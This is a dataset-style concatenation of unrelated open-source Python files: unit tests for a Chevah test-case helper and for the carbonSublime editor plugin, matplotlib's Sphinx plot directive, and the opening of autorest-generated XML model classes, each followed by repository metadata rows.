if self.ci_name in [self.CI.TRAVIS, self.CI.GITHUB]:
raise AssertionError(
'Travis and GitHub does not run as administrator')
@conditionals.onAdminPrivileges(False)
def test_onAdminPrivileges_missing(self):
"""
Run test on build slaves that do not have administrator privileges.
"""
if (
self.TEST_LANGUAGE == 'FR' or
self.os_name
or self.ci_name not in [self.CI.BUILDBOT, self.CI.LOCAL]
):
# Not available on Windows XP and 2003 and non-buildbot runs.
return
raise AssertionError(
'"%s" is running with administrator privileges' % (self.hostname,))
def test_cleanup_test_segments_file(self):
"""
When self.test_segments is defined it will be automatically
removed.
"""
self.test_segments = mk.fs.createFileInTemp()
def test_cleanup_test_segments_folder(self):
"""
When self.test_segments is defined it will be automatically
removed, even when is a folder with content.
"""
self.test_segments = mk.fs.createFolderInTemp()
child_segments = self.test_segments[:]
child_segments.append(mk.makeFilename())
mk.fs.createFolder(child_segments)
@conditionals.onCapability('symbolic_link', True)
def test_cleanup_test_segments_link(self):
"""
When self.test_segments is defined it will be automatically
removed, even when it is a symbolic link.
"""
_, self.test_segments = mk.fs.makePathInTemp()
mk.fs.makeLink(
target_segments=mk.fs.temp_segments,
link_segments=self.test_segments,
)
def test_assertIsInstance(self):
"""
Is has the argument in the inverse order of stdlib version.
"""
self.assertIsInstance(object, object())
def test_assertIn(self):
"""
Is has the argument in the inverse order of stdlib version.
"""
self.assertIn(set([1, 'a', 'b']), 'a')
def test_assertRaises(self):
"""
It can be used as a simple call, not as context, directly returning
the exception.
"""
def some_call(argument):
raise RuntimeError('error-marker-%s' % (argument,))
exception = self.assertRaises(
RuntimeError,
some_call,
'more'
)
self.assertEqual('error-marker-more', exception.args[0])
def test_stacked_cleanup(self):
"""
It supports calling cleanup based on multiple stacks.
"""
# Tests are based on a list and append to detect accidental duplicate
# calls of the same cleanup.
self.base_stack_called = []
self.medium_stack_called = []
self.top_stack_called = []
# Not lambda to make it easy to debug.
def base_cleanup():
self.base_stack_called.append(True)
def medium_cleanup():
self.medium_stack_called.append(True)
def top_cleanup():
self.top_stack_called.append(True)
self.addCleanup(base_cleanup)
self.enterCleanup()
self.addCleanup(medium_cleanup)
# Can also be used as context manager.
with self.stackedCleanup():
self.addCleanup(top_cleanup)
# Nothing called so far.
self.assertEqual([], self.base_stack_called)
self.assertEqual([], self.medium_stack_called)
self.assertEqual([], self.top_stack_called)
# Exit top cleanup stack is implicit as part of the context manager.
self.assertEqual([], self.base_stack_called)
self.assertEqual([], self.medium_stack_called)
self.assertEqual([True], self.top_stack_called)
# Exit medium cleanup stack.
self.exitCleanup()
self.assertEqual([], self.base_stack_called)
self.assertEqual([True], self.medium_stack_called)
self.assertEqual([True], self.top_stack_called)
# Call base cleanup.
self.callCleanup()
self.assertEqual([True], self.base_stack_called)
self.assertEqual([True], self.medium_stack_called)
self.assertEqual([True], self.top_stack_called)
@conditionals.onOSFamily('posiX')
class TestClassConditionalsPosix(ChevahTestCase):
"""
Conditionals also work on classes.
"""
def test_onOSFamily_posix(self):
"""
Run test only on posix.
"""
if os.name != 'posix':
raise AssertionError('This should be called only on posix.')
@conditionals.onOSFamily('nt')
class TestClassConditionalsNT(ChevahTestCase):
"""
This is the complement of the previous tests.
"""
def test_onOSFamily(self):
"""
Run test only on nt.
"""
if os.name != 'nt':
raise AssertionError('This should be called only on nt.')
class TestChevahTestCaseSkipSetup(ChevahTestCase):
"""
Test skipped test at setup level.
"""
def setUp(self):
"""
Skip the test, after initializing parent.
This will prevent calling of tearDown.
"""
super(TestChevahTestCaseSkipSetup, self).setUp()
raise self.skipTest()
def tearDown(self):
raise AssertionError('Should not be called.')
def test_skipped_test(self):
"""
Just a test to check that everything works ok with skipped tests.
"""
raise AssertionError('Should not be called')
class TestChevahTestCaseAddCleanup(ChevahTestCase):
"""
Test case for checking addCleanup.
"""
def setUp(self):
super(TestChevahTestCaseAddCleanup, self).setUp()
self.cleanup_call_count = 0
def tearDown(self):
self.assertEqual(0, self.cleanup_call_count)
super(TestChevahTestCaseAddCleanup, self).tearDown()
self.assertEqual(2, self.cleanup_call_count)
def cleanUpLast(self):
self.assertEqual(1, self.cleanup_call_count)
self.cleanup_call_count += 1
def cleanUpFirst(self):
self.assertEqual(0, self.cleanup_call_count)
self.cleanup_call_count += 1
def test_addCleanup(self):
"""
Will call the cleanup method at tearDown in the revere order
in which they were added.
"""
self.addCleanup(self.cleanUpLast)
self.addCleanup(self.cleanUpFirst)
self.assertEqual(0, self.cleanup_call_count)
class TestChevahTestCaseCallCleanup(ChevahTestCase):
"""
Test case for checking callCleanup.
"""
def setUp(self):
super(TestChevahTestCaseCallCleanup, self).setUp()
self.cleanup_call_count = 0
def tearDown(self):
self.assertEqual(1, self.cleanup_call_count)
super(TestChevahTestCaseCallCleanup, self).tearDown()
self.assertEqual(1, self.cleanup_call_count)
def cleanUp(self):
self.cleanup_call_count += 1
def test_callCleanup(self):
"""
Will call registered cleanup methods and will not be called again at
tearDown or at any other time it is called.
"""
self.addCleanup(self.cleanUp)
self.assertEqual(0, self.cleanup_call_count)
self.callCleanup()
# Check that callback is called.
self.assertEqual(1, self.cleanup_call_count)
# Calling again produce no changes.
self.callCleanup()
self.assertEqual(1, self.cleanup_call_count)
| 31.55317 | 79 | 0.625134 |
795c39186f01c72a09d561e5998cc9a7780c3b36 | 3,762 | py | Python | tests/test.py | emlazzarin/carbonSublime | b7f895c9ac1eb46547ada79f7eab56e2a36df419 | [
"MIT"
] | 120 | 2018-02-08T17:01:21.000Z | 2022-02-16T16:54:40.000Z | tests/test.py | emlazzarin/carbonSublime | b7f895c9ac1eb46547ada79f7eab56e2a36df419 | [
"MIT"
] | 21 | 2018-02-08T16:05:30.000Z | 2021-11-16T00:19:13.000Z | tests/test.py | emlazzarin/carbonSublime | b7f895c9ac1eb46547ada79f7eab56e2a36df419 | [
"MIT"
] | 10 | 2018-02-16T07:43:15.000Z | 2020-08-27T02:10:23.000Z | """Tests functions and classes in carbonSublime.py.
"""
import sys
import unittest
from unittest import mock
import webbrowser
import sublime
carbonSublime = sys.modules["carbonSublime.carbonSublime"]
class TestViewMixin:
def setUp(self):
self.view = sublime.active_window().new_file()
def tearDown(self):
if self.view:
self.view.set_scratch(True)
window = self.view.window()
window.focus_view(self.view)
window.run_command("close_file")
class TestHelperFunctions(TestViewMixin, unittest.TestCase):
def test_convert_tabs_using_tab_size_tab_2(self):
original = "\t\tprint('Hello')"
expected = " print('Hello')"
self.view.settings().set("tab_size", 2)
result = carbonSublime.convert_tabs_using_tab_size(self.view, original)
self.assertEquals(result, expected)
def test_convert_tabs_using_tab_size_tab_4(self):
original = "\t\tprint('Hello')"
expected = " print('Hello')"
self.view.settings().set("tab_size", 4)
result = carbonSublime.convert_tabs_using_tab_size(self.view, original)
self.assertEquals(result, expected)
class TestCarbonSublimeCommand(TestViewMixin, unittest.TestCase):
def setUp(self):
super().setUp()
self.command = carbonSublime.CarbonSublimeCommand(self.view)
self.trim_indent_orig = self.load_settings().get("trim_indent")
def tearDown(self):
super().tearDown()
self.load_settings().set("trim_indent", self.trim_indent_orig)
def load_settings(self):
return sublime.load_settings(carbonSublime.SETTINGS_FILE)
def test_normalize_code_no_indent(self):
original = "def hello(name): \n print('Hello, ' + name)) "
expected = "def hello(name):\n print('Hello, ' + name))"
self.add_and_select_text(original)
code = self.command.normalize_code()
self.assertEquals(code, expected)
def test_normalize_code_with_indent(self):
self.view.settings().set("tab_size", 4)
original = "\tdef hello(name): \n\t\tprint('Hello, ' + name)) "
expected = "def hello(name):\n print('Hello, ' + name))"
self.add_and_select_text(original)
code = self.command.normalize_code()
self.assertEquals(code, expected)
def test_normalize_code_no_selection(self):
self.view.settings().set("tab_size", 4)
original = "\tdef hello(name): \n\t\tprint('Hello, ' + name)) \n"
expected = " def hello(name):\n print('Hello, ' + name))"
self.add_text(original)
code = self.command.normalize_code()
self.assertEquals(code, expected)
def test_normalize_code_without_trimming_indent(self):
self.load_settings().set("trim_indent", False)
original = " def hello(name): \n print('Hello, ' + name)) "
expected = " def hello(name):\n print('Hello, ' + name))"
self.add_and_select_text(original)
code = self.command.normalize_code()
self.assertEquals(code, expected)
@mock.patch.object(webbrowser, "open")
def test_generate_carbon_link(self, open):
self.assertFalse(open.called)
code = "print('Hello')"
self.command.generate_carbon_link(code)
self.assertTrue(open.called)
def add_and_select_text(self, text):
self.add_text(text)
selection = self.view.sel()
selection.clear()
selection.add(sublime.Region(0, self.view.size()))
def add_text(self, text):
# Uses `insert_snippet` instead of `insert`
# as `insert` doesn't honor indents.
self.view.run_command("insert_snippet", {"contents": text})
| 34.2 | 79 | 0.645667 |
795c39daac73488d4cf24a688059d887198ccdb7 | 28,603 | py | Python | autocalibration/lib/python2.7/site-packages/matplotlib/sphinxext/plot_directive.py | prcalopa/reactable-autocalibration | eb67a5b5ee0e50f1effa773f6f3f934b5fda6fcf | [
"MIT"
] | 4 | 2021-10-14T21:22:25.000Z | 2022-03-12T19:58:48.000Z | lib/python2.7/site-packages/matplotlib/sphinxext/plot_directive.py | jppgibbs/Aegis | feac08cd3935569057e75531fe80bd0e1f982a93 | [
"MIT"
] | 2 | 2018-01-22T23:21:36.000Z | 2018-01-22T23:31:27.000Z | lib/python2.7/site-packages/matplotlib/sphinxext/plot_directive.py | jppgibbs/Aegis | feac08cd3935569057e75531fe80bd0e1f982a93 | [
"MIT"
] | 5 | 2018-05-19T05:08:51.000Z | 2021-04-29T16:03:45.000Z | """
A directive for including a matplotlib plot in a Sphinx document.
By default, in HTML output, `plot` will include a .png file with a
link to a high-res .png and .pdf. In LaTeX output, it will include a
.pdf.
The source code for the plot may be included in one of three ways:
1. **A path to a source file** as the argument to the directive::
.. plot:: path/to/plot.py
When a path to a source file is given, the content of the
directive may optionally contain a caption for the plot::
.. plot:: path/to/plot.py
This is the caption for the plot
Additionally, one may specify the name of a function to call (with
no arguments) immediately after importing the module::
.. plot:: path/to/plot.py plot_function1
2. Included as **inline content** to the directive::
.. plot::
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
import numpy as np
img = mpimg.imread('_static/stinkbug.png')
imgplot = plt.imshow(img)
3. Using **doctest** syntax::
.. plot::
A plotting example:
>>> import matplotlib.pyplot as plt
>>> plt.plot([1,2,3], [4,5,6])
Options
-------
The ``plot`` directive supports the following options:
format : {'python', 'doctest'}
Specify the format of the input
include-source : bool
Whether to display the source code. The default can be changed
using the `plot_include_source` variable in conf.py
encoding : str
If this source file is in a non-UTF8 or non-ASCII encoding,
the encoding must be specified using the `:encoding:` option.
The encoding will not be inferred using the ``-*- coding -*-``
metacomment.
context : bool or str
If provided, the code will be run in the context of all
previous plot directives for which the `:context:` option was
specified. This only applies to inline code plot directives,
not those run from files. If the ``:context: reset`` option is
specified, the context is reset for this and future plots, and
previous figures are closed prior to running the code.
``:context:close-figs`` keeps the context but closes previous figures
before running the code.
nofigs : bool
If specified, the code block will be run, but no figures will
be inserted. This is usually useful with the ``:context:``
option.
Additionally, this directive supports all of the options of the
`image` directive, except for `target` (since plot will add its own
target). These include `alt`, `height`, `width`, `scale`, `align` and
`class`.
Configuration options
---------------------
The plot directive has the following configuration options:
plot_include_source
Default value for the include-source option
plot_html_show_source_link
Whether to show a link to the source in HTML.
plot_pre_code
Code that should be executed before each plot. If not specified or None
it will default to a string containing::
import numpy as np
from matplotlib import pyplot as plt
plot_basedir
Base directory, to which ``plot::`` file names are relative
to. (If None or empty, file names are relative to the
directory where the file containing the directive is.)
plot_formats
File formats to generate. List of tuples or strings::
[(suffix, dpi), suffix, ...]
that determine the file format and the DPI. For entries whose
DPI was omitted, sensible defaults are chosen. When passing from
the command line through sphinx_build the list should be passed as
suffix:dpi,suffix:dpi, ....
plot_html_show_formats
Whether to show links to the files in HTML.
plot_rcparams
A dictionary containing any non-standard rcParams that should
be applied before each plot.
plot_apply_rcparams
By default, rcParams are applied when `context` option is not used in
a plot directive. This configuration option overrides this behavior
and applies rcParams before each plot.
plot_working_directory
By default, the working directory will be changed to the directory of
the example, so the code can get at its data files, if any. Also its
path will be added to `sys.path` so it can import any helper modules
sitting beside it. This configuration option can be used to specify
a central directory (also added to `sys.path`) where data files and
helper modules for all code are located.
plot_template
Provide a customized template for preparing restructured text.
"""
from __future__ import (absolute_import, division, print_function,
unicode_literals)
import six
from six.moves import xrange
import sys, os, shutil, io, re, textwrap
from os.path import relpath
import traceback
import warnings
if not six.PY3:
import cStringIO
from docutils.parsers.rst import directives
from docutils.parsers.rst.directives.images import Image
align = Image.align
import sphinx
sphinx_version = sphinx.__version__.split(".")
# The split is necessary for sphinx beta versions where the string is
# '6b1'
sphinx_version = tuple([int(re.split('[^0-9]', x)[0])
for x in sphinx_version[:2]])
try:
# Sphinx depends on either Jinja or Jinja2
import jinja2
def format_template(template, **kw):
return jinja2.Template(template).render(**kw)
except ImportError:
import jinja
def format_template(template, **kw):
return jinja.from_string(template, **kw)
import matplotlib
import matplotlib.cbook as cbook
try:
with warnings.catch_warnings(record=True):
warnings.simplefilter("error", UserWarning)
matplotlib.use('Agg')
except UserWarning:
import matplotlib.pyplot as plt
plt.switch_backend("Agg")
else:
import matplotlib.pyplot as plt
from matplotlib import _pylab_helpers
__version__ = 2
#------------------------------------------------------------------------------
# Registration hook
#------------------------------------------------------------------------------
def plot_directive(name, arguments, options, content, lineno,
content_offset, block_text, state, state_machine):
return run(arguments, content, options, state_machine, state, lineno)
plot_directive.__doc__ = __doc__
def _option_boolean(arg):
if not arg or not arg.strip():
# no argument given, assume used as a flag
return True
elif arg.strip().lower() in ('no', '0', 'false'):
return False
elif arg.strip().lower() in ('yes', '1', 'true'):
return True
else:
raise ValueError('"%s" unknown boolean' % arg)
def _option_context(arg):
if arg in [None, 'reset', 'close-figs']:
return arg
raise ValueError("argument should be None or 'reset' or 'close-figs'")
def _option_format(arg):
return directives.choice(arg, ('python', 'doctest'))
def _option_align(arg):
return directives.choice(arg, ("top", "middle", "bottom", "left", "center",
"right"))
def mark_plot_labels(app, document):
"""
To make plots referenceable, we need to move the reference from
the "htmlonly" (or "latexonly") node to the actual figure node
itself.
"""
for name, explicit in six.iteritems(document.nametypes):
if not explicit:
continue
labelid = document.nameids[name]
if labelid is None:
continue
node = document.ids[labelid]
if node.tagname in ('html_only', 'latex_only'):
for n in node:
if n.tagname == 'figure':
sectname = name
for c in n:
if c.tagname == 'caption':
sectname = c.astext()
break
node['ids'].remove(labelid)
node['names'].remove(name)
n['ids'].append(labelid)
n['names'].append(name)
document.settings.env.labels[name] = \
document.settings.env.docname, labelid, sectname
break
def setup(app):
setup.app = app
setup.config = app.config
setup.confdir = app.confdir
options = {'alt': directives.unchanged,
'height': directives.length_or_unitless,
'width': directives.length_or_percentage_or_unitless,
'scale': directives.nonnegative_int,
'align': _option_align,
'class': directives.class_option,
'include-source': _option_boolean,
'format': _option_format,
'context': _option_context,
'nofigs': directives.flag,
'encoding': directives.encoding
}
app.add_directive('plot', plot_directive, True, (0, 2, False), **options)
app.add_config_value('plot_pre_code', None, True)
app.add_config_value('plot_include_source', False, True)
app.add_config_value('plot_html_show_source_link', True, True)
app.add_config_value('plot_formats', ['png', 'hires.png', 'pdf'], True)
app.add_config_value('plot_basedir', None, True)
app.add_config_value('plot_html_show_formats', True, True)
app.add_config_value('plot_rcparams', {}, True)
app.add_config_value('plot_apply_rcparams', False, True)
app.add_config_value('plot_working_directory', None, True)
app.add_config_value('plot_template', None, True)
app.connect(str('doctree-read'), mark_plot_labels)
metadata = {'parallel_read_safe': True, 'parallel_write_safe': True}
return metadata
#------------------------------------------------------------------------------
# Doctest handling
#------------------------------------------------------------------------------
def contains_doctest(text):
try:
# check if it's valid Python as-is
compile(text, '<string>', 'exec')
return False
except SyntaxError:
pass
r = re.compile(r'^\s*>>>', re.M)
m = r.search(text)
return bool(m)
def unescape_doctest(text):
"""
Extract code from a piece of text, which contains either Python code
or doctests.
"""
if not contains_doctest(text):
return text
code = ""
for line in text.split("\n"):
m = re.match(r'^\s*(>>>|\.\.\.) (.*)$', line)
if m:
code += m.group(2) + "\n"
elif line.strip():
code += "# " + line.strip() + "\n"
else:
code += "\n"
return code
def split_code_at_show(text):
"""
Split code at plt.show()
"""
parts = []
is_doctest = contains_doctest(text)
part = []
for line in text.split("\n"):
if (not is_doctest and line.strip() == 'plt.show()') or \
(is_doctest and line.strip() == '>>> plt.show()'):
part.append(line)
parts.append("\n".join(part))
part = []
else:
part.append(line)
if "\n".join(part).strip():
parts.append("\n".join(part))
return parts
def remove_coding(text):
r"""
Remove the coding comment, which six.exec\_ doesn't like.
"""
sub_re = re.compile("^#\s*-\*-\s*coding:\s*.*-\*-$", flags=re.MULTILINE)
return sub_re.sub("", text)
#------------------------------------------------------------------------------
# Template
#------------------------------------------------------------------------------
TEMPLATE = """
{{ source_code }}
{{ only_html }}
{% if source_link or (html_show_formats and not multi_image) %}
(
{%- if source_link -%}
`Source code <{{ source_link }}>`__
{%- endif -%}
{%- if html_show_formats and not multi_image -%}
{%- for img in images -%}
{%- for fmt in img.formats -%}
{%- if source_link or not loop.first -%}, {% endif -%}
`{{ fmt }} <{{ dest_dir }}/{{ img.basename }}.{{ fmt }}>`__
{%- endfor -%}
{%- endfor -%}
{%- endif -%}
)
{% endif %}
{% for img in images %}
.. figure:: {{ build_dir }}/{{ img.basename }}.{{ default_fmt }}
{% for option in options -%}
{{ option }}
{% endfor %}
{% if html_show_formats and multi_image -%}
(
{%- for fmt in img.formats -%}
{%- if not loop.first -%}, {% endif -%}
`{{ fmt }} <{{ dest_dir }}/{{ img.basename }}.{{ fmt }}>`__
{%- endfor -%}
)
{%- endif -%}
{{ caption }}
{% endfor %}
{{ only_latex }}
{% for img in images %}
{% if 'pdf' in img.formats -%}
.. figure:: {{ build_dir }}/{{ img.basename }}.pdf
{% for option in options -%}
{{ option }}
{% endfor %}
{{ caption }}
{% endif -%}
{% endfor %}
{{ only_texinfo }}
{% for img in images %}
.. image:: {{ build_dir }}/{{ img.basename }}.png
{% for option in options -%}
{{ option }}
{% endfor %}
{% endfor %}
"""
exception_template = """
.. htmlonly::
[`source code <%(linkdir)s/%(basename)s.py>`__]
Exception occurred rendering plot.
"""
# the context of the plot for all directives specified with the
# :context: option
plot_context = dict()
class ImageFile(object):
def __init__(self, basename, dirname):
self.basename = basename
self.dirname = dirname
self.formats = []
def filename(self, format):
return os.path.join(self.dirname, "%s.%s" % (self.basename, format))
def filenames(self):
return [self.filename(fmt) for fmt in self.formats]
def out_of_date(original, derived):
"""
Returns True if derivative is out-of-date wrt original,
both of which are full file paths.
"""
return (not os.path.exists(derived) or
(os.path.exists(original) and
os.stat(derived).st_mtime < os.stat(original).st_mtime))
class PlotError(RuntimeError):
pass
def run_code(code, code_path, ns=None, function_name=None):
"""
Import a Python module from a path, and run the function given by
name, if function_name is not None.
"""
# Change the working directory to the directory of the example, so
# it can get at its data files, if any. Add its path to sys.path
# so it can import any helper modules sitting beside it.
if six.PY2:
pwd = os.getcwdu()
else:
pwd = os.getcwd()
old_sys_path = list(sys.path)
if setup.config.plot_working_directory is not None:
try:
os.chdir(setup.config.plot_working_directory)
except OSError as err:
raise OSError(str(err) + '\n`plot_working_directory` option in'
'Sphinx configuration file must be a valid '
'directory path')
except TypeError as err:
raise TypeError(str(err) + '\n`plot_working_directory` option in '
'Sphinx configuration file must be a string or '
'None')
sys.path.insert(0, setup.config.plot_working_directory)
elif code_path is not None:
dirname = os.path.abspath(os.path.dirname(code_path))
os.chdir(dirname)
sys.path.insert(0, dirname)
# Reset sys.argv
old_sys_argv = sys.argv
sys.argv = [code_path]
# Redirect stdout
stdout = sys.stdout
if six.PY3:
sys.stdout = io.StringIO()
else:
sys.stdout = cStringIO.StringIO()
# Assign a do-nothing print function to the namespace. There
# doesn't seem to be any other way to provide a way to (not) print
# that works correctly across Python 2 and 3.
def _dummy_print(*arg, **kwarg):
pass
try:
try:
code = unescape_doctest(code)
if ns is None:
ns = {}
if not ns:
if setup.config.plot_pre_code is None:
six.exec_(six.text_type("import numpy as np\n" +
"from matplotlib import pyplot as plt\n"), ns)
else:
six.exec_(six.text_type(setup.config.plot_pre_code), ns)
ns['print'] = _dummy_print
if "__main__" in code:
six.exec_("__name__ = '__main__'", ns)
code = remove_coding(code)
six.exec_(code, ns)
if function_name is not None:
six.exec_(function_name + "()", ns)
except (Exception, SystemExit) as err:
raise PlotError(traceback.format_exc())
finally:
os.chdir(pwd)
sys.argv = old_sys_argv
sys.path[:] = old_sys_path
sys.stdout = stdout
return ns
def clear_state(plot_rcparams, close=True):
if close:
plt.close('all')
matplotlib.rc_file_defaults()
matplotlib.rcParams.update(plot_rcparams)
def get_plot_formats(config):
default_dpi = {'png': 80, 'hires.png': 200, 'pdf': 200}
formats = []
plot_formats = config.plot_formats
if isinstance(plot_formats, six.string_types):
# String Sphinx < 1.3, Split on , to mimic
# Sphinx 1.3 and later. Sphinx 1.3 always
# returns a list.
plot_formats = plot_formats.split(',')
for fmt in plot_formats:
if isinstance(fmt, six.string_types):
if ':' in fmt:
suffix, dpi = fmt.split(':')
formats.append((str(suffix), int(dpi)))
else:
formats.append((fmt, default_dpi.get(fmt, 80)))
elif type(fmt) in (tuple, list) and len(fmt) == 2:
formats.append((str(fmt[0]), int(fmt[1])))
else:
raise PlotError('invalid image format "%r" in plot_formats' % fmt)
return formats
def render_figures(code, code_path, output_dir, output_base, context,
function_name, config, context_reset=False,
close_figs=False):
"""
Run a pyplot script and save the images in *output_dir*.
Save the images under *output_dir* with file names derived from
*output_base*
"""
formats = get_plot_formats(config)
# -- Try to determine if all images already exist
code_pieces = split_code_at_show(code)
# Look for single-figure output files first
all_exists = True
img = ImageFile(output_base, output_dir)
for format, dpi in formats:
if out_of_date(code_path, img.filename(format)):
all_exists = False
break
img.formats.append(format)
if all_exists:
return [(code, [img])]
# Then look for multi-figure output files
results = []
all_exists = True
for i, code_piece in enumerate(code_pieces):
images = []
for j in xrange(1000):
if len(code_pieces) > 1:
img = ImageFile('%s_%02d_%02d' % (output_base, i, j), output_dir)
else:
img = ImageFile('%s_%02d' % (output_base, j), output_dir)
for format, dpi in formats:
if out_of_date(code_path, img.filename(format)):
all_exists = False
break
img.formats.append(format)
# assume that if we have one, we have them all
if not all_exists:
all_exists = (j > 0)
break
images.append(img)
if not all_exists:
break
results.append((code_piece, images))
if all_exists:
return results
# We didn't find the files, so build them
results = []
if context:
ns = plot_context
else:
ns = {}
if context_reset:
clear_state(config.plot_rcparams)
plot_context.clear()
close_figs = not context or close_figs
for i, code_piece in enumerate(code_pieces):
if not context or config.plot_apply_rcparams:
clear_state(config.plot_rcparams, close_figs)
elif close_figs:
plt.close('all')
run_code(code_piece, code_path, ns, function_name)
images = []
fig_managers = _pylab_helpers.Gcf.get_all_fig_managers()
for j, figman in enumerate(fig_managers):
if len(fig_managers) == 1 and len(code_pieces) == 1:
img = ImageFile(output_base, output_dir)
elif len(code_pieces) == 1:
img = ImageFile("%s_%02d" % (output_base, j), output_dir)
else:
img = ImageFile("%s_%02d_%02d" % (output_base, i, j),
output_dir)
images.append(img)
for format, dpi in formats:
try:
figman.canvas.figure.savefig(img.filename(format), dpi=dpi)
except Exception as err:
raise PlotError(traceback.format_exc())
img.formats.append(format)
results.append((code_piece, images))
if not context or config.plot_apply_rcparams:
clear_state(config.plot_rcparams, close=not context)
return results
def run(arguments, content, options, state_machine, state, lineno):
document = state_machine.document
config = document.settings.env.config
nofigs = 'nofigs' in options
formats = get_plot_formats(config)
default_fmt = formats[0][0]
options.setdefault('include-source', config.plot_include_source)
keep_context = 'context' in options
context_opt = None if not keep_context else options['context']
rst_file = document.attributes['source']
rst_dir = os.path.dirname(rst_file)
if len(arguments):
if not config.plot_basedir:
source_file_name = os.path.join(setup.app.builder.srcdir,
directives.uri(arguments[0]))
else:
source_file_name = os.path.join(setup.confdir, config.plot_basedir,
directives.uri(arguments[0]))
# If there is content, it will be passed as a caption.
caption = '\n'.join(content)
# If the optional function name is provided, use it
if len(arguments) == 2:
function_name = arguments[1]
else:
function_name = None
with io.open(source_file_name, 'r', encoding='utf-8') as fd:
code = fd.read()
output_base = os.path.basename(source_file_name)
else:
source_file_name = rst_file
code = textwrap.dedent("\n".join(map(six.text_type, content)))
counter = document.attributes.get('_plot_counter', 0) + 1
document.attributes['_plot_counter'] = counter
base, ext = os.path.splitext(os.path.basename(source_file_name))
output_base = '%s-%d.py' % (base, counter)
function_name = None
caption = ''
base, source_ext = os.path.splitext(output_base)
if source_ext in ('.py', '.rst', '.txt'):
output_base = base
else:
source_ext = ''
# ensure that LaTeX includegraphics doesn't choke in foo.bar.pdf filenames
output_base = output_base.replace('.', '-')
# is it in doctest format?
is_doctest = contains_doctest(code)
if 'format' in options:
if options['format'] == 'python':
is_doctest = False
else:
is_doctest = True
# determine output directory name fragment
source_rel_name = relpath(source_file_name, setup.confdir)
source_rel_dir = os.path.dirname(source_rel_name)
while source_rel_dir.startswith(os.path.sep):
source_rel_dir = source_rel_dir[1:]
# build_dir: where to place output files (temporarily)
build_dir = os.path.join(os.path.dirname(setup.app.doctreedir),
'plot_directive',
source_rel_dir)
# get rid of .. in paths, also changes pathsep
# see note in Python docs for warning about symbolic links on Windows.
# need to compare source and dest paths at end
build_dir = os.path.normpath(build_dir)
if not os.path.exists(build_dir):
os.makedirs(build_dir)
# output_dir: final location in the builder's directory
dest_dir = os.path.abspath(os.path.join(setup.app.builder.outdir,
source_rel_dir))
if not os.path.exists(dest_dir):
os.makedirs(dest_dir) # no problem here for me, but just use built-ins
# how to link to files from the RST file
dest_dir_link = os.path.join(relpath(setup.confdir, rst_dir),
source_rel_dir).replace(os.path.sep, '/')
try:
build_dir_link = relpath(build_dir, rst_dir).replace(os.path.sep, '/')
except ValueError:
# on Windows, relpath raises ValueError when path and start are on
# different mounts/drives
build_dir_link = build_dir
source_link = dest_dir_link + '/' + output_base + source_ext
# make figures
try:
results = render_figures(code,
source_file_name,
build_dir,
output_base,
keep_context,
function_name,
config,
context_reset=context_opt == 'reset',
close_figs=context_opt == 'close-figs')
errors = []
except PlotError as err:
reporter = state.memo.reporter
sm = reporter.system_message(
2, "Exception occurred in plotting %s\n from %s:\n%s" % (output_base,
source_file_name, err),
line=lineno)
results = [(code, [])]
errors = [sm]
# Properly indent the caption
caption = '\n'.join(' ' + line.strip()
for line in caption.split('\n'))
# generate output restructuredtext
total_lines = []
for j, (code_piece, images) in enumerate(results):
if options['include-source']:
if is_doctest:
lines = ['']
lines += [row.rstrip() for row in code_piece.split('\n')]
else:
lines = ['.. code-block:: python', '']
lines += [' %s' % row.rstrip()
for row in code_piece.split('\n')]
source_code = "\n".join(lines)
else:
source_code = ""
if nofigs:
images = []
opts = [':%s: %s' % (key, val) for key, val in six.iteritems(options)
if key in ('alt', 'height', 'width', 'scale', 'align', 'class')]
only_html = ".. only:: html"
only_latex = ".. only:: latex"
only_texinfo = ".. only:: texinfo"
# Not-None src_link signals the need for a source link in the generated
# html
if j == 0 and config.plot_html_show_source_link:
src_link = source_link
else:
src_link = None
result = format_template(
config.plot_template or TEMPLATE,
default_fmt=default_fmt,
dest_dir=dest_dir_link,
build_dir=build_dir_link,
source_link=src_link,
multi_image=len(images) > 1,
only_html=only_html,
only_latex=only_latex,
only_texinfo=only_texinfo,
options=opts,
images=images,
source_code=source_code,
html_show_formats=config.plot_html_show_formats and len(images),
caption=caption)
total_lines.extend(result.split("\n"))
total_lines.extend("\n")
if total_lines:
state_machine.insert_input(total_lines, source=source_file_name)
# copy image files to builder's output directory, if necessary
if not os.path.exists(dest_dir):
cbook.mkdirs(dest_dir)
for code_piece, images in results:
for img in images:
for fn in img.filenames():
destimg = os.path.join(dest_dir, os.path.basename(fn))
if fn != destimg:
shutil.copyfile(fn, destimg)
# copy script (if necessary)
target_name = os.path.join(dest_dir, output_base + source_ext)
with io.open(target_name, 'w', encoding="utf-8") as f:
if source_file_name == rst_file:
code_escaped = unescape_doctest(code)
else:
code_escaped = code
f.write(code_escaped)
return errors
| 32.764032 | 81 | 0.583121 |
795c3a2625fe5bde0a29c6be97427e2219b8ccb6 | 33,974 | py | Python | test/vanilla/Expected/AcceptanceTests/Xml/xmlservice/models/_models.py | qwordy/autorest.python | 6b12df51c2a39a1285546b5a771b69f5896e794f | [
"MIT"
] | null | null | null | test/vanilla/Expected/AcceptanceTests/Xml/xmlservice/models/_models.py | qwordy/autorest.python | 6b12df51c2a39a1285546b5a771b69f5896e794f | [
"MIT"
] | null | null | null | test/vanilla/Expected/AcceptanceTests/Xml/xmlservice/models/_models.py | qwordy/autorest.python | 6b12df51c2a39a1285546b5a771b69f5896e794f | [
"MIT"
] | null | null | null | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is regenerated.
# --------------------------------------------------------------------------
from azure.core.exceptions import HttpResponseError
import msrest.serialization
class AccessPolicy(msrest.serialization.Model):
"""An Access policy.
All required parameters must be populated in order to send to Azure.
:param start: Required. the date-time the policy is active.
:type start: ~datetime.datetime
:param expiry: Required. the date-time the policy expires.
:type expiry: ~datetime.datetime
:param permission: Required. the permissions for the acl policy.
:type permission: str
"""
_validation = {
"start": {"required": True},
"expiry": {"required": True},
"permission": {"required": True},
}
_attribute_map = {
"start": {"key": "Start", "type": "iso-8601"},
"expiry": {"key": "Expiry", "type": "iso-8601"},
"permission": {"key": "Permission", "type": "str"},
}
def __init__(self, **kwargs):
super(AccessPolicy, self).__init__(**kwargs)
self.start = kwargs["start"]
self.expiry = kwargs["expiry"]
self.permission = kwargs["permission"]
class AppleBarrel(msrest.serialization.Model):
"""A barrel of apples.
